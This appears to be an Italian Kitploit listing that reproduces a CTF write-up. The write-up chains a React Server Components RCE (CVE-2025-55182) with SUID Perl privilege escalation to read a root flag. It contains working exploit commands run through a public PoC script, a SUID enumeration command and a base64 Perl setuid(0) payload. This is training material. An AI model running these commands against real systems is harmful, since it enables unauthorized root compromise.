Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/abdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500
Escalation di PrivilegiRicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Lab e Pratica
GitHubabdullahmaqbool22/explosive-as-hell-mcs-qualifer-web-500

Explosive-As-Hell-MCS-Qualifer-Web-500

[First-Blood-XO] Endpoint del componente server React vulnerabile a CVE-2025-55182 (RCE) → binari SUID enumerati → /usr/bin/perl aveva SUID impostato → ha utilizzato Perl's POSIX setuid(0) per elevarsi a root → letto /root/flag.txt

Vedi Repository
15 mesi faNon ancora revisionato

CVE-2025-55182 — Componenti Server React RCE | Writeup CTF

Categoria: Web Exploitation | Difficoltà: Media | Vulnerabilità: Remote Code Execution → Privilege Escalation SUID


TL;DR

Endpoint di Componenti Server React vulnerabile a CVE-2025-55182 (RCE) → enumerati binari SUID → /usr/bin/perl aveva il bit SUID impostato → usato setuid(0) di Perl POSIX per escalare a root → letto /root/flag.txt.

Flag: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}


Passo 1 — Ricognizione

Target: http://challenge.cybermesh.site:30035/

Il target era un'applicazione web basata su React che sfrutta React Server Components (RSC) — un'architettura relativamente nuova che esegue i componenti lato server e trasmette l'output serializzato al client tramite un formato wire personalizzato.

Questa architettura introduce un confine di esecuzione lato server. Una gestione impropria dell'input a quel confine è esattamente ciò che sfrutta CVE-2025-55182.


Passo 2 — Vulnerabilità: CVE-2025-55182

React Server Components RCE — Il server non riesce a sanitizzare l'input controllato dall'utente prima che raggiunga il livello di esecuzione dei componenti lato server. Ciò consente a un attaccante di iniettare comandi shell a livello OS che vengono eseguiti nel contesto del processo Node.js.

Flusso dell'attacco:

  1. L'attaccante crea un payload RSC malevolo
  2. Il server deserializza l'input e passa valori non sanitizzati in una funzione di un componente server
  3. Il comando OS viene eseguito, l'output torna nella risposta RSC
  4. L'attaccante legge l'output del comando dal corpo della risposta

Passo 3 — Setup dell'exploit

Esiste un PoC pubblico per questa CVE:

root@kitploit:~
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc

Verifica iniziale — conferma RCE e contesto di esecuzione:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"

Output:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► app

Il server viene eseguito come utente app. Non root — escalation necessaria.


Passo 4 — Enumerazione SUID

Scansione per binari SUID:

root@kitploit:~
python exploit.py -t http://challenge.cybermesh.site:30035/ \
  -c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"

Output:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► /usr/bin/gpasswd
  ► /usr/bin/perl       <--- !!!
  ► /usr/bin/chsh
  ► /usr/bin/su
  ► /usr/bin/chfn
  ► /usr/bin/umount
  ► /usr/bin/mount
  ► /usr/bin/passwd
  ► /usr/bin/newgrp

/usr/bin/perl ha il bit SUID impostato. Questo è un noto GTFOBin — quando Perl è di proprietà di root e ha il bit SUID, viene eseguito con privilegi di root indipendentemente da chi lo invoca.


Passo 5 — Escalation di privilegi tramite SUID Perl

Costruito un payload Perl codificato in base64 che:

  • Imposta il PATH
  • Chiama POSIX::setuid(0) per escalare a root
  • Apre e legge /root/flag.txt

Consegnato tramite l'endpoint RCE:

root@kitploit:~
python exploit.py \
  -t http://challenge.cybermesh.site:30035/ \
  -c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"

Il payload decodificato è approssimativamente:

root@kitploit:~
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);

Output:

root@kitploit:~
[+] EXPLOITATION SUCCESSFUL

  ► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Flag

root@kitploit:~
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}

Punti chiave

1. La superficie d'attacco degli RSC è sottovalutata. React Server Components sono un nuovo paradigma. Molte distribuzioni non sono state rafforzate contro l'iniezione di input al confine dei componenti server. Questa CVE ricorda che il "server-side rendering" non è intrinsecamente sicuro — il confine di esecuzione necessita comunque di una corretta sanitizzazione.

2. SUID su runtime di scripting = root immediato. /usr/bin/perl con SUID è una configurazione errata da manuale. GTFOBins la tratta in dettaglio. Non impostare mai il bit SUID sui linguaggi di scripting (Perl, Python, Ruby, ecc.) — a differenza dei binari compilati progettati per SUID (su, passwd), questi runtime offrono percorsi di escalation banali.

3. La flag è autoconsapevole. SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — la challenge è stata esplicitamente progettata attorno a SUID Perl come percorso di escalation previsto. Catena pulita.


Riepilogo della catena d'attacco

root@kitploit:~
CVE-2025-55182 (RSC RCE)
    └─> whoami → utente "app"
    └─> trova binari SUID
    └─> /usr/bin/perl (SUID root) identificato
    └─> payload Perl in base64 → scritto in /tmp/p.pl
    └─> perl SUID /tmp/p.pl → setuid(0) → cat /root/flag.txt
    └─> FLAG ✓

Riferimenti

  • github.com/surajhacx/react2shellpoc
  • GTFOBins — perl SUID
  • NVD — CVE-2025-55182

Scritto da Abdullah Maqbool — Ingegnere di Penetration Testing @ TISS | CRTA · CRTOM · CompTIA PenTest+

Scarica lo strumento